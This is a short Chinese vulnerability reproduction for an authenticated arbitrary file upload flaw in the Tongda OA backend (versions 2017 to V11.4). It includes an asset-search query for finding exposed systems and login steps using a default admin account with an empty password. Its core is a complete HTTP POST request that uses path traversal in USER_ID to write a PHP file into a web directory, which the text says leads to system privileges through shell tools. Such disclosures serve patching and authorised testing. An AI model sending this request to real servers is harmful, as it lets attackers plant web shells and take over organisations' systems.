登录 白背景

通达OA update存在后台文件上传漏洞

一、漏洞简介

通达OA是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。后台**/general/hr/manage/staff_info/update.php**存在任意文件上传漏洞,用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。

二、影响版本

  • 通达2017-通达V11.4

三、资产测绘

  • hunterapp.name="通达 OA"

image.png

  • 登录页面

image.png

四、漏洞复现

1、使用默认密码admin,密码为空或采用通达OA任意用户登录登录后台;
image.png

  1. 通过上一步获取的cookie上传文件
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/1.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Cookie: {cookie}
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: {hostname}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 203
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="ATTACHMENT"; filename="."

123
--00content0boundary00
Content-Disposition: form-data; name="submit"

保存
--00content0boundary00--

image.png
上传文件位置

/general/reportshop/workshop/report/attachment-remark/1.php

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ln2mnw25xfifvsvw